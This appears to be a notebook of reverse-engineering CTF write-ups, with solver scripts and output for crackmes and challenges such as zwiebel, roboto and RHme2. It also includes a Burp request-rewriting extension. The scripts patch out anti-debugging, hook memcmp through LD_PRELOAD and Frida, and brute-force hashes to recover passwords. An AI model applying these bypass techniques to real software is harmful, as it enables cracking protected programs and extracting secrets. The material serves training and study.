# Burp extension to hook requests/responses

$ cat hooker.py
from burp import IBurpExtender
from burp import IHttpListener
from java.io import PrintWriter

class BurpExtender(IBurpExtender, IHttpListener):

 def registerExtenderCallbacks(self, callbacks):
  self._callbacks = callbacks
  self._helpers = callbacks.getHelpers()
  callbacks.setExtensionName("Hooker")
  callbacks.registerHttpListener(self)
         self.stdout = PrintWriter(callbacks.getStdout(), True)
         self.stderr = PrintWriter(callbacks.getStderr(), True)
  callbacks.issueAlert("Loaded")

 def processHttpMessage(self, toolFlag, messageIsRequest, currentRequest):
         self.stdout.println("processHttpMessage")

  # Process requests
  if messageIsRequest:
   requestInfo = self._helpers.analyzeRequest(currentRequest)

   self.headers = list(requestInfo.getHeaders())
   # Modify headers
   self.setHeader('User-Agent', 'LolBot')

   bodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():]
   self.body = self._helpers.bytesToString(bodyBytes)
   # Modify body
   bodysuffix = ''
   newMsgBody = self.body + bodysuffix

   newMessage = self._helpers.buildHttpMessage(self.headers, newMsgBody)
   currentRequest.setRequest(newMessage)

  # Process responses
  else:
   pass

 def deleteHeader(self, header):
  new_headers = []
  for h in self.headers:
   if header not in h:
    new_headers.append(h)
  self.headers = new_headers

 def setHeader(self, header, value):
  new_headers = []
  for h in self.headers:
   if header in h:
    h = header + ': ' + value
   new_headers.append(h)
  self.headers = new_headers

References

https://portswigger.net/burp/extender/
http://www.jython.org/downloads.html

# Pin and triton: Binary instrumentation and symbolic execution


Installation

$ wget 'http://old-releases.ubuntu.com/releases/14.04.0/ubuntu-14.04.1-server-amd64.iso' # kernel 3.x
$ # Install ubuntu server
$ # The installed server needs the following software
$ sudo apt-get install libboost1.55-dev
$ sudo apt-get install libpython2.7-dev
$ git clone https://github.com/Z3Prover/z3.git
$ cd z3
$ python scripts/mk_make.py --python
$ cd
$ wget 'http://www.capstone-engine.org/download/3.0.4/ubuntu-14.04/libcapstone3_3.0.4-0.1ubuntu1_amd64.deb'
$ wget 'http://www.capstone-engine.org/download/3.0.4/ubuntu-14.04/libcapstone-dev_3.0.4-0.1ubuntu1_amd64.deb'
$ sudo dpkg -i libcapstone3_3.0.4-0.1ubuntu1_amd64.deb
$ sudo dpkg -i libcapstone-dev_3.0.4-0.1ubuntu1_amd64.deb
$ # Pin version 71313
$ wget 'http://software.intel.com/sites/landingpage/pintool/downloads/pin-2.14-71313-gcc.4.4.7-linux.tar.gz'
$ tar xvzf pin-2.14-71313-gcc.4.4.7-linux.tar.gz
$ cd pin-2.14-71313-gcc.4.4.7-linux/source/tools
$ git clone https://github.com/JonathanSalwan/Triton.git
$ cd Triton
$ mkdir build
$ cd build
$ cmake -DPINTOOL=on ..
$ make
$ PATH=$PATH;~/pin-2.14-71313-gcc.4.4.7-linux/source/tools/Triton
$ cd ..
$ sysctl kernel.yama.ptrace_scope=0
$ triton ./src/examples/pin/ir.py /usr/bin/id

Challenge

$ wget 'https://raw.githubusercontent.com/black-bunny/First-hands-with-Triton/master/CrackMe.c'
$ gcc -o CrackMe CrackMe.c
$ cat CrackMe.py
import pintool
import triton

SNAPSHOT = False
ARGV1 = 0

MAIN = 0x4005bd
AVOID = [0x4006f2, 0x400714, 0x400727, 0x400744, 0x400760, 0x400782, 0x4007a4, 0x4007c3, 0x4007e7, 0x40082f, 0x400869, 0x40088e, 0x4008cf, 0x40096e]
TAKE = [0x40080b, 0x400910]
PASSWORD_SIZE = 11
SYMVAR_CONSTRAINTS = []
NUM_MANDATORY_PATHS = 0
LAST_INJECTED = ''

def superAnd(constraints):
 pc = triton.ast.equal(triton.ast.bvtrue(), triton.ast.bvtrue())
 for i in range(len(constraints)):
  pc = triton.ast.land(pc, constraints[i])
 return pc

def model2string(model):
 s = ''
 for i in range(PASSWORD_SIZE):
  try:
   s += chr(model[i].getValue())
  except:
   pass
 return s

def inject(address, data):
 for i, char in enumerate(data):
  pintool.setCurrentMemoryValue(address + i, ord(char))

def before(instruction):
 global SNAPSHOT
 global ARGV1
 global SYMVAR_CONSTRAINTS
 ia = instruction.getAddress()
 if ia == MAIN:
  if not SNAPSHOT:
   rsi = pintool.getCurrentRegisterValue(triton.REG.RSI)
   ARGV1 = pintool.getCurrentMemoryValue(rsi + 8, triton.CPUSIZE.REG)
   print 'rsi = ', rsi
   print 'ARGV1 = ', ARGV1

   offset = 0
   while offset < PASSWORD_SIZE:
    address = ARGV1 + offset
    pintool.setCurrentMemoryValue(address, ord('*'))
    symvar = triton.convertMemoryToSymbolicVariable(triton.MemoryAccess(address, triton.CPUSIZE.BYTE))
    SYMVAR_CONSTRAINTS.append(triton.ast.bvuge(triton.ast.variable(symvar), triton.ast.bv(0x20, 8)))
    SYMVAR_CONSTRAINTS.append(triton.ast.bvule(triton.ast.variable(symvar), triton.ast.bv(0x7e, 8)))
    offset +=1
   pintool.setCurrentMemoryValue(ARGV1 + offset, 0x0)

   print '[+] Symbolized %d bytes of memory at 0x%x' % (offset, ARGV1)
   print '[+] Taking snapshot'
   pintool.takeSnapshot()
   SNAPSHOT = True

def before_symproc(instruction):
 global NUM_MANDATORY_PATHS
 global LAST_INJECTED
 path_constraints = []
 ia = instruction.getAddress()

 if ia in TAKE:
  NUM_MANDATORY_PATHS += 1

 if (ia in AVOID) or (ia == 0x40080f and NUM_MANDATORY_PATHS != 1) or (ia == 0x400914 and NUM_MANDATORY_PATHS != 2):
  NUM_MANDATORY_PATHS = 0
  print '[+] Wrong password'
  pc = triton.getPathConstraints()
  for i in pc:
   if i.isMultipleBranches():
    for branch in i.getBranchConstraints():
     if branch['dstAddr'] in AVOID:
      path_constraints.append(triton.ast.lnot(branch['constraint']))
     if branch['dstAddr'] in TAKE:
      path_constraints.append(branch['constraint'])
  full_constraint = superAnd(SYMVAR_CONSTRAINTS + path_constraints)
  model = triton.getModel(triton.ast.assert_(full_constraint))
  s = model2string(model)
  LAST_INJECTED = s
  print '[+] Posible solution: ' + s + ' - ' + s.encode('hex')
  s += chr(0)
  print '[+] Injecting it and restoring snapshot'
  inject(ARGV1, s)
  triton.clearPathConstraints()
  pintool.restoreSnapshot()

 if ia == 0x400978:
  print '[+] Good password: ', LAST_INJECTED
  pintool.disableSnapshot()
  triton.clearPathConstraints()
  pintool.setCurrentRegisterValue(triton.REG.RIP, 0x400982)


def constantFolding(node):
 if node.isSymbolized():
  return node
 else:
  return triton.ast.bv(node.evaluate(), node.getBitvectorSize())

if __name__ == '__main__':
 triton.setArchitecture(triton.ARCH.X86_64)
 triton.enableSymbolicOptimization(triton.OPTIMIZATION.ALIGNED_MEMORY, True)
 triton.enableSymbolicOptimization(triton.OPTIMIZATION.ONLY_ON_SYMBOLIZED, True)

 #pintool.startAnalysisFromEntry()
 pintool.startAnalysisFromAddress(MAIN)

 triton.addCallback(constantFolding, triton.CALLBACK.SYMBOLIC_SIMPLIFICATION)
 pintool.insertCall(before, pintool.INSERT_POINT.BEFORE) # Before the instruction processing
 pintool.insertCall(before_symproc, pintool.INSERT_POINT.BEFORE_SYMPROC) # Before the symbolic processing
 pintool.runProgram()

$ triton CrackMe.py ./CrackMe -
rsi =  140734613450744
ARGV1 =  140734613456483
[+] Symbolized 11 bytes of memory at 0x7fff54a48663
[+] Taking snapshot
[+] Wrong password
[+] Posible solution: @@@ @@@@@ @ - 4040402040404040402040
[+] Injecting it and restoring snapshot
[+] Wrong password
[+] Posible solution: B*@!o@@A H; - 422a40216f40404120483b
[+] Injecting it and restoring snapshot
[+] Wrong password
[+] Posible solution: @@'@_H.@r\O - 404027405f482e40725c4f
[+] Injecting it and restoring snapshot
[+] Wrong password
[+] Posible solution: AQ%!$HD zR9 - 41512521244844207a5239
[+] Injecting it and restoring snapshot
[+] Wrong password
[+] Posible solution: Ui(1\GDAp^@ - 556928315c474441705e40
[+] Injecting it and restoring snapshot
[+] Wrong password
[+] Posible solution: 9\*(00 'xA& - 395c2a2830302027784126
[+] Injecting it and restoring snapshot
[+] Wrong password
[+] Posible solution: 7T"W8$$Bl9  - 37542257382424426c3920
[+] Injecting it and restoring snapshot
[+] Wrong password
[+] Posible solution: 0=#E$/oDy8% - 303d2345242f6f44793825
[+] Injecting it and restoring snapshot
[+] Wrong password
[+] Posible solution: 5G1x:)lgy@  - 354731783a296c67794020
[+] Injecting it and restoring snapshot
[+] Wrong password
[+] Posible solution: Gx/t0TRoqq( - 47782f743054526f717128
[+] Injecting it and restoring snapshot
[+] Wrong password
[+] Posible solution: or9t0NRo{kP - 6f723974304e526f7b6b50
[+] Injecting it and restoring snapshot
[+] Wrong password
[+] Posible solution: Tr;t0NRo}k5 - 54723b74304e526f7d6b35
[+] Injecting it and restoring snapshot
[+] Wrong password
[+] Posible solution: Tr!t0NRock5 - 54722174304e526f636b35
[+] Injecting it and restoring snapshot
[+] Good password:  Tr!t0NRock5

References

http://blackbunny.io/solving-a-crack-me-with-triton-and-pin-a-k-a-the-lazy-way/
https://github.com/black-bunny/First-hands-with-Triton

# TumCTF 2k16 - zwiebel (55)


$ wget 'https://2016.ctf.link/assets/files/zwiebel.tar.xz'
$ tar xvf zwiebel.tar.xz
$ r2 -wA zwiebel
[0x004006d0]> s sym.imp.ptrace
[0x004006b0]> pd 3
/ (fcn) sym.imp.ptrace 48
|   sym.imp.ptrace ();
|           ; CALL XREF from 0x004007db (sym.__printf)
|           0x004006b0      ff25aa0b2000   jmp qword [reloc.ptrace_96] ; [0x601260:8]=0x4006b6 LEA reloc.ptrace_96 ; reloc.ptrace_96
|           0x004006b6      6808000000     push 8
\           0x004006bb      e960ffffff     jmp 0x400620                ; sym.imp.printf-0x40
[0x004007d0]> s sym.__printf
[0x004007d0]> pd 12
/ (fcn) sym.__printf 45
|   sym.__printf ();
|           0x004007d0      50             push rax
|           0x004007d1      31ff           xor edi, edi
|           0x004007d3      31f6           xor esi, esi
|           0x004007d5      31d2           xor edx, edx
|           0x004007d7      31c9           xor ecx, ecx
|           0x004007d9      31c0           xor eax, eax
|           0x004007db      e8d0feffff     call sym.imp.ptrace
|           0x004007e0      4885c0         test rax, rax
|       ,=< 0x004007e3      7504           jne 0x4007e9
|       |   0x004007e5      31c0           xor eax, eax
|       |   0x004007e7      5a             pop rdx
|       |   0x004007e8      c3             ret

[0x004007db]> s 0x004007db
[0x004007db]> wx 90909090909090909090
[0x004007db]> pd 19 @ sym.__printf
/ (fcn) sym.__printf 45
|   sym.__printf ();
|           0x004007d0      50             push rax
|           0x004007d1      31ff           xor edi, edi
|           0x004007d3      31f6           xor esi, esi
|           0x004007d5      31d2           xor edx, edx
|           0x004007d7      31c9           xor ecx, ecx
|           0x004007d9      31c0           xor eax, eax
|           0x004007db      90             nop
|           0x004007dc      90             nop
|           0x004007dd      90             nop
|           0x004007de      90             nop
|           0x004007df      90             nop
|           0x004007e0      90             nop
|           0x004007e1      90             nop
|           0x004007e2      90             nop
|           0x004007e3      90             nop
|           0x004007e4      90             nop
|           0x004007e5      31c0           xor eax, eax
|           0x004007e7      5a             pop rdx
|           0x004007e8      c3             ret

$ cat zwiebel.py
import re
import r2pipe
import sys

def convert2int(value):
 if '0x' in value: t = 16
 else: t = 10
 return int(value, t)

def step():
 r2.cmd('ds')
 r2.cmd('sr rip')

r2 = r2pipe.open(filename = '', flags = ['-dA', 'rarun2', 'program=zwiebel', 'stdin="AAAA"'])
r2.cmd('dc')
r2.cmd('db 0x00400875')
r2.cmd('dc')

flag = [0x20] * 50

while True:
 while True:
  step()
  ci = r2.cmdj('pdj 1~:0')[0]
  o = ci['opcode']
  #print o
  ot = ci['type']
  if ot == 'cjmp':
   m = re.search('\[(.*)\]', r2.cmdj('pdj -2~:0')[0]['opcode'])
   #print m[0]
   mask = convert2int(r2.cmdj('pdj -1~:0')[0]['opcode'].split()[2])
   if '+' in m.group(1):
    offset = convert2int(m.group(1).split()[2])
   else:
    offset = 0
   #print offset
   o = o.split(' ')
   j = o[0]
   a = o[1]
   #print o, j, a
   if j == 'je':
    r2.cmd('dr zf=0')
    flag[offset] |= mask

   elif j == 'jne':
    r2.cmd('dr zf=1')
    flag[offset] &= (~mask & 0xff)
   step()
   break

 r = r2.cmdj('pdj 8')
 a = r[7]['offset']
 r2.cmd('db ' + hex(a))
 r2.cmd('dc')
 step()
 sys.stdout.write('\r' + ''.join(map(chr,flag)))

print
r2.quit()

$ python zwiebel.py 2> /dev/null
hxp{1_h0p3_y0u_d1dnt_p33l_th3_0ni0n_by_h4nd}

Reference

https://www.youtube.com/watch?v=y69uIxU0eI8

# Ekoparty pre-challenges 2k16 - roboto (80)


$ wget 'https://ctf.ekoparty.org/static/pre-ekoparty/roboto.elf'
$ sudo apt-get install binutils-avr
$ avr-objdump --disassemble-all roboto.elf | less

$ cat roboto.py
import re
import r2pipe

def get_instruction():
 i = r2.cmdj('pdj 1~:0')[0]
 return int(i['offset']), i['opcode'].split()

def get_value(wv, dv):
 if wv == 0x1 and dv == 0x96:
  return '-'
 elif wv == 0x1 and dv == 0xa:
  return '.'
 elif wv == 0x0 and dv == 0x28:
  return ' '
 else:
  return ''

def step(v = 1):
 r2.cmd('so ' + str(v))

BEGIN = '0x00000fba'
END = int('0x00001a46' , 16)

a = 0
code = ''

r2 = r2pipe.open(filename = 'roboto.elf', flags = ['-A'])

r2.cmd('s ' + BEGIN)

while a != END:
 a, o = get_instruction()
 #print a, o
 wv = int(o[2], 16)
 step(2)
 a, o = get_instruction()
 #print a, o
 dv = int(o[2], 16)
 step(5)
 a, o = get_instruction()
 #print a, o
 if 'ser' in o[0]:
  # add space
  dv *= 2
  step(5)
  a, o = get_instruction()
 # add value
 code += get_value(wv, dv)

print 'morse = ' + code

r2.quit()

$ python roboto.py 2> /dev/null
morse = . -.- --- -.--. --- .-.. -.. .-.-.- .. ... .-.-.- -. . .-- .-.-.- .- --. .- .. -. -.--.-

$ git clone https://github.com/morse-talk/morse-talk.git
$ cd morse_talk
$ sed -i -e '0,/-.--.-/ s/-.--.-/-.--./' morse_talk/encoding.py # Wrong left parenthesis

$ ipython
In [1]: import morse_talk

In [2]: morse_talk.decode('. -.- --- -.--. --- .-.. -.. .-.-.- .. ... .-.-.- -. . .-- .-.-.- .- --. .- .. -. -.--.-').replace('(', '{').replace(')', '}').replace('.', '_')
Out[2]: 'EKO{OLD_IS_NEW_AGAIN}'

# Ekoparty pre-challenges 2k16 - backdoor (50)


$ cat solver.py
from z3 import *

## Defining and initializing

flag = []
for i in range(18):
 flag.append(Int('v%.2d' % i))

s = Solver()

# Constraints

s.add(flag[0] == 69)
s.add(flag[1] == 75)
s.add(flag[1] + flag[2] == 154)
s.add(flag[2] + flag[3] == 202)
s.add(flag[3] + flag[4] == 241)
s.add(flag[4] + flag[5] == 233)
s.add(flag[5] + flag[6] == 217)
s.add(flag[6] + flag[7] == 218)
s.add(flag[7] + flag[8] == 228)
s.add(flag[8] + flag[9] == 212)
s.add(flag[9] + flag[10] == 195)
s.add(flag[10] + flag[11] == 195)
s.add(flag[11] + flag[12] == 201)
s.add(flag[12] + flag[13] == 207)
s.add(flag[13] + flag[14] == 203)
s.add(flag[14] + flag[15] == 215)
s.add(flag[15] + flag[16] == 235)
s.add(flag[16] + flag[17] == 242)

# Checking and printing

if s.check() == sat:
 m = s.model()
 #print m
 for v in m:
  print v, m[v]
  p = int(str(v)[1:])
  v = chr(int(str(m[v])))
  flag[p] = v

 print flag
 print ''.join(flag)

$ python solver.py
v17 125
v16 117
v15 118
v14 97
v13 106
v12 101
v11 100
v10 95
v09 100
v08 112
v07 116
v06 102
v05 115
v04 118
v03 123
v02 79
v01 75
v00 69
['E', 'K', 'O', '{', 'v', 's', 'f', 't', 'p', 'd', '_', 'd', 'e', 'j', 'a', 'v', 'u', '}']
EKO{vsftpd_dejavu}

Reference

http://jolmos.blogspot.com.es/2016/10/vsftpd-backdoor-ekoparty-prectf.html

# Riscure hack me 2 (quals)


Download

# wget https://github.com/Riscure/Rhme-2016/raw/master/RHme2_prequalification_challenge
# file RHme2_prequalification_challenge
RHme2_prequalification_challenge: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d2e181c26c49dbf067beaba93387f7ef75bc3a91, not stripped

Option 1: Hopper and gdb

# strings RHme2_prequalification_challenge | grep Well
Well done! You found the secret password!

1. Load the binary using hopper.
2. Search the previous string.
3. Go to the address where is referenced (0x400855).
4. Do a decompilation:

int main() {
    stack[2047] = rbx;
    rsp = rsp - 0x8 - 0x1b0;
    rbx = arg_32;
    rax = 0x0;
    asm{ rep stosq  qword [ds:rdi], rax };
    do {
            rsi = sign_extend_64(rax);
            rdx = rax << 0x4 | rax;
            rax = rax + 0x1;
            *(int8_t *)(rsi + 0x601080) = rdx ^ *(int8_t *)(rsi + 0x601080) & 0xff;
    } while (rax != 0x20);
    AES_set_decrypt_key(0x601080, 0x100, var_4);
    AES_decrypt(arg_30, rbx, var_4);
    puts("What is the secret password?");
    fgets(arg_42, 0x50, *__TMC_END__);
    if (memcmp(arg_42, rbx, 0x10) != 0x0) {
            __printf_chk(0x1, "\nThat is not correct!");
    }
    else {
            __printf_chk(0x1, "\nWell done! You found the secret password!");
    }
    rax = 0x0;
    rbx = stack[1993] ^ *0x28;
    COND = rbx != 0x0;
    if (COND) {
            rax = __stack_chk_fail();
    }
    return rax;
}
5. Find the address where memcmp is called:
000000000040081d         call       j_memcmp
# gdb ./RHme2_prequalification_challenge
(gdb) b *0x40081d
(gdb) run
What is the secret password?
IDONTKNOW

Breakpoint 1, 0x000000000040081d in main ()
(gdb) x/s $rbx
0x7fffffffe508: "TH1S 1s s3cr3t!!"

Option 2: LD_PRELOAD

# cat mylib.c
int memcmp(const void *s1, const void *s2, int n){
    printf("%s\n", s1);
    printf("%s\n", s2);
}
# gcc -fPIC -shared mylib.c -o mylib.dylib
# LD_PRELOAD=/tmp/mylib.dylib ./RHme2_prequalification_challenge
What is the secret password?
IDONTKNOW
IDONTKNOW

TH1S 1s s3cr3t!!

That is not correct!

Option 3: Frida

# cat hook.py
import frida
import sys

process = sys.argv[1]
address = str(int(sys.argv[2], 16))

session = frida.attach(process)
script = session.create_script('''
Interceptor.attach(ptr("''' + address + '''"), {
    onEnter: function(args) {
        // User password
        send(Memory.readCString(args[0]));
        // Secret password
        send(Memory.readCString(args[1]));
    }
});
''')

def on_message(message, data):
    print message['payload'].strip()

script.on('message', on_message)
script.load()
sys.stdin.read()

# ./RHme2_prequalification_challenge
What is the secret password?
IDONTKNOW

That is not correct!

# python hook.py RHme2_prequalification_challenge 0x400730
IDONTKNOW
TH1S 1s s3cr3t!!

Option 4: Radare

# r2 -d ./RHme2_prequalification_challenge
Process with PID 31679 started...
attach 31679 31679
bin.baddr 0x00400000
Assuming filepath ./RHme2_prequalification_challenge
asm.bits 64
[0x7f6fa0ec02d0]> dcu sym.imp.memcmp
Continue until 0x00400730 using 1 bpsize
What is the secret password?
IDONTKNOW
hit breakpoint at: 400730
attach 31679 1
[0x00400730]> ps @ rbx
TH1S 1s s3cr3t!!

Reference

https://www.riscure.com/challenge

# NN2k16 CTF - moneymoneymoney (extra) (55pts)


# cat moneymoneymoney.py
#!/usr/bin/python

import base58
import bs4
import pyblake2
import re
import requests
import socket
import sys
import uu

def base58encode(hex_addr):
 ha = hex_addr[::-1]
 return base58.b58encode(ha.decode('hex'))


def crack_blake2(bh):
 a = ['0', '1', '2', '3','4','5','6','7','8','9','a','b','c','d','e','f']
 for i1 in a:
     for i2 in a:
  for i3 in a:
      for i4 in a:
   for i5 in a:
       for i6 in a:
    p = i1+i2+i3+i4+i5+i6
    if pyblake2.blake2b(p).hexdigest() == bh:
        return p

def get_bitcoins(addr):
 r = requests.get('https://blockchain.info/address/' + addr)
 soup = bs4.BeautifulSoup(r.text)
 tag = soup.findAll('span', {'data-c': True})
 m = re.findall('>(.*) BTC<', str(tag[1]))
 #return m[0].replace(',', '')
 return m[0]

def rot(text, n):
 I = 32
 F = 126
 a = []

 for i in xrange(I, F + 1):
  a.append(chr(i))

 result = ''
 for i in text:
  oi = ord(i)
  if I <= oi and oi <= F:
   r = (oi - I + n) % len(a)
   result += a[r]
  else:
   result += i
 return result

def shamir_secret(ss1, ss2):
 payload = {'message': ss1[2:] + '\r\n' + ss2[2:]}
 r = requests.post('http://asecuritysite.com/encryption/shamir_decode', data = payload)
 m = re.findall('share of 2: (.*?)\n<', r.text)
 flag = m[0]
 return flag

def uudecode(encoded):
 ui = 'uu.in'
 uo = 'uu.out'

 f = open(ui, 'w')
 f.write(encoded)
 f.close()

 uu.decode(ui, uo)

 f = open(uo)
 decoded = f.read()
 f.close()

 return decoded

def xor(text, key):
 r = ''
 lk = len(key)
 for i in range(len(text)):
  r += chr(ord(text[i]) ^ ord(key[i % lk]))
 return r


HOST = 'challenges.ka0labs.org'
PORT = 1337
DELIMITER = '-' * 32

server_socket = (HOST, PORT)

print server_socket
print DELIMITER

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(server_socket)

data = client.recv(1024)

print data
print DELIMITER

m = re.findall('= (.*?)\.', data)
blake2_hash = m[0]

print '[+] blake2 hash = ' + blake2_hash 

x = crack_blake2(blake2_hash)

print '[+] x = ' + x
print DELIMITER

client.send(x + '\n')
data = client.recv(1024)
print data
print DELIMITER

m = re.findall('(1-000.*?)\.', data)
shamir_secret_1 = m[0]
print '[+] shamir secret 1 = ' + shamir_secret_1
print DELIMITER

data = client.recv(1024)
print data
print DELIMITER

m = re.findall('([0-9A-Z]+00A)', data)
challenge = m[0]
print '[+] shamir secret 1 = ' + shamir_secret_1
print '[+] challenge = ' + challenge
print DELIMITER

hex_challenge = challenge.decode('hex')
print '[+] hex_challenge = ' + hex_challenge
print DELIMITER

rot52 = rot(hex_challenge, 52)
print '[+] rot52 = ', rot52
print DELIMITER

uud = uudecode(rot52[22:])
print '[+] uudecode = ', uud
print DELIMITER

byte_uud = ''.join(map(chr, map(int, uud[11:].split(','))))
print '[+] byte_uud = ', repr(byte_uud)
print DELIMITER

xored = xor(byte_uud, 'ANDYRLZ')
print '[+] xored = ', xored
print DELIMITER

hex_addr = xored[18:]
bitcoin_addr = base58encode(hex_addr)
print '[+] bitcoin addr = ' + hex_addr + ' --> ' + bitcoin_addr
print DELIMITER

bitcoins = get_bitcoins(bitcoin_addr)
print '[+] bitcoins = ' + bitcoins
print DELIMITER

client.send(bitcoins + '\n')
data = client.recv(1024)
print data
print DELIMITER

m = re.findall('\((.*)\)', data)
shamir_secret_2 = m[0]
print '[+] shamir secret 2 = ' + shamir_secret_2
print DELIMITER
client.close()

flag = shamir_secret(shamir_secret_1, shamir_secret_2)
print '[+] flag = 8===D{' + flag + '}'


# python moneymoneymoney.py
('challenges.ka0labs.org', 1337)
--------------------------------

Welcome to the Dr. Utonium computer! As he usually says, passwords are out-of-style nowadays. So I'm going to test if you're my lovely boss through crypto challenges that only him can solve <3

First of all, let's fight fire with fire. BLAKE2B(X) = b8d1e72b927e9dd122fd4e7cb7574c9b768ad677cf9c0b5435d00c31f0be854efff199ab23dd8f8aa2843321345803b0ad7fd0c0cd3d4090038db421632a68cd. Let me know X. Hint: my $X =~ ^[0-9a-f]{6}$
Solution: 
--------------------------------
[+] blake2 hash = b8d1e72b927e9dd122fd4e7cb7574c9b768ad677cf9c0b5435d00c31f0be854efff199ab23dd8f8aa2843321345803b0ad7fd0c0cd3d4090038db421632a68cd
[+] x = 8d40cf
--------------------------------


Auto-attaching to session 2...
irssi | MojoJojo@CP3kc2.F5htj.virtual (Ka0chat)
<+MojoJojo> Hi my little minion! I have info that can be useful for you. I don't know when, but I'm sure you are going to need what I found last month sniffing Utonium's communications: 1-000O4LkoDev88CEhevvRqbVSc/Fbh+BS47N0NL0jUoQneR9/Ah+yoYr3qDxzlHJ3EI0MITTz4kCwmxHdKye02rjZIMmduk=. I don't know what it means...:_S
Detaching...

--------------------------------
[+] shamir secret 1 = 1-000O4LkoDev88CEhevvRqbVSc/Fbh+BS47N0NL0jUoQneR9/Ah+yoYr3qDxzlHJ3EI0MITTz4kCwmxHdKye02rjZIMmduk=
--------------------------------

Hmmm...ok, here is your challenge. Hint: !yenom eht em wohS

49657021204E657874212074313C4C4B793144404C4B2E3133353A4B6161614B580A785D61607B535D4C5964626C20535D4B24564E5B7E564E5F7D564E4F7D574D7B7C575E5B77576D7B22577D7B21587D7B21594D7B7C574E4F77575E537C0A78564E537B564E5F77576E4B77574D7B7D564E4F7B575D7B7C576E4F77575E4B7E564E5B23564E4F7B585D7B7E586D7B20584D7B7C575E6B77575E4B200A78564E6F22564E5B23564E4F7B587D7B7E585D7B7C576E4B77575E4F25564E4F7B584D7B20595D7B7C575E6377575E4B22564E5723564E4F7C594D7B7C0A78576E5F77595E6777595E6F77584E4F77575E4B24564E4F7C586D7B7C575E6B77575E4F21564E5F22564E4F7B587D7B20576D7B22576D7B7E595D7B7C0A78576E5F77577E5777586E4F77575E4B7B564E4F7C586D7B22576D7B7C575E6F77575E4F24564E4F7C595D7B7C574E6777585E5377575E5322564E6F240A5E564E4F7C586D7B7C576E6377575E4F7E564E4F7B585D7B25594B4B4B0A4B0A313A300A

Solution: 
--------------------------------
[+] shamir secret 1 = 1-000O4LkoDev88CEhevvRqbVSc/Fbh+BS47N0NL0jUoQneR9/Ah+yoYr3qDxzlHJ3EI0MITTz4kCwmxHdKye02rjZIMmduk=
[+] challenge = 49657021204E657874212074313C4C4B793144404C4B2E3133353A4B6161614B580A785D61607B535D4C5964626C20535D4B24564E5B7E564E5F7D564E4F7D574D7B7C575E5B77576D7B22577D7B21587D7B21594D7B7C574E4F77575E537C0A78564E537B564E5F77576E4B77574D7B7D564E4F7B575D7B7C576E4F77575E4B7E564E5B23564E4F7B585D7B7E586D7B20584D7B7C575E6B77575E4B200A78564E6F22564E5B23564E4F7B587D7B7E585D7B7C576E4B77575E4F25564E4F7B584D7B20595D7B7C575E6377575E4B22564E5723564E4F7C594D7B7C0A78576E5F77595E6777595E6F77584E4F77575E4B24564E4F7C586D7B7C575E6B77575E4F21564E5F22564E4F7B587D7B20576D7B22576D7B7E595D7B7C0A78576E5F77577E5777586E4F77575E4B7B564E4F7C586D7B22576D7B7C575E6F77575E4F24564E4F7C595D7B7C574E6777585E5377575E5322564E6F240A5E564E4F7C586D7B7C576E6377575E4F7E564E4F7B585D7B25594B4B4B0A4B0A313A300A
--------------------------------
[+] hex_challenge = Iep! Next! t1<LKy1D@LK.135:KaaaKX
x]a`{S]LYdbl S]K$VN[~VN_}VNO}WM{|W^[wWm{"W}{!X}{!YM{|WNOwW^S|
xVNS{VN_wWnKwWM{}VNO{W]{|WnOwW^K~VN[#VNO{X]{~Xm{ XM{|W^kwW^K 
xVNo"VN[#VNO{X}{~X]{|WnKwW^O%VNO{XM{ Y]{|W^cwW^K"VNW#VNO|YM{|
xWn_wY^gwY^owXNOwW^K$VNO|Xm{|W^kwW^O!VN_"VNO{X}{ Wm{"Wm{~Y]{|
xWn_wW~WwXnOwW^K{VNO|Xm{"Wm{|W^owW^O$VNO|Y]{|WNgwX^SwW^S"VNo$
^VNO|Xm{|WncwW^O~VNO{X]{%YKKK
K
1:0

--------------------------------
[+] rot52 =  }:EUT#:MIUTIep! Next! begin 666 -
M265P(2!.97AT(2 X+#0S+#4R+#$R,"PQ,30L,BPV,RPU-RPU."PQ,#$L,3(Q
M+#(P+#4L,C L,"PR+#$P,2PQ,C$L,3 S+#0W+#$P-2PS-BPT-"PQ,3@L,3 T
M+#DV+#0W+#$P-RPS-2PQ,C L,3$Y+#$P-"PT.2PQ,38L,3 V+#,W+#$Q."PQ
M,C4L.3<L.3DL-#$L,3 X+#$Q-BPQ,3@L,3$U+#4V+#$P-RPT,BPV,BPS.2PQ
M,C4L,S,L-C$L,3 P+#$Q-BPV,BPQ,3DL,3$X+#$Q.2PQ,#<L-3(L,3(V+#DX
3+#$Q-BPQ,C8L,3$S+#$P-2PY.   
 
end

--------------------------------
[+] uudecode =  Iep! Next! 8,43,52,120,114,2,63,57,58,101,121,20,5,20,0,2,101,121,103,47,105,36,44,118,104,96,47,107,35,120,119,104,49,116,106,37,118,125,97,99,41,108,116,118,115,56,107,42,62,39,125,33,61,100,116,62,119,118,119,107,52,126,98,116,126,113,105,98
--------------------------------
[+] byte_uud =  "\x08+4xr\x02?9:ey\x14\x05\x14\x00\x02eyg/i$,vh`/k#xwh1tj%v}ac)ltvs8k*>'}!=dt>wvwk4~bt~qib"
--------------------------------
[+] xored =  Iep! Next! FINAL! 5c3eb212c1b631c80d8981e6587a9fdf3ed68d6832f2850500
--------------------------------
[+] bitcoin addr = 5c3eb212c1b631c80d8981e6587a9fdf3ed68d6832f2850500 --> 18KphVHKBw2brgxc2SQtEWWijQYA8LMsFa
--------------------------------
[+] bitcoins = 0.67472019
--------------------------------
YEAH! 8===D{Shamir(2-00124TdmxdOWx6fO3Ju/OPaW1kutWmNKsWrhLxH2W+T7R4QfQ/+NzDebCfTltfTKbgukGlR4yweJn3UW1qw2s5TBCnSQUw=)}

--------------------------------
[+] shamir secret 2 = 2-00124TdmxdOWx6fO3Ju/OPaW1kutWmNKsWrhLxH2W+T7R4QfQ/+NzDebCfTltfTKbgukGlR4yweJn3UW1qw2s5TBCnSQUw=
--------------------------------
[+] flag = 8===D{Enc0ders_D0_N0t_G1v3_R34l_Secur1ty_But_S3cret_Shar1ng_M4ybe_D03s}


Known-plaintext attack

# ipython

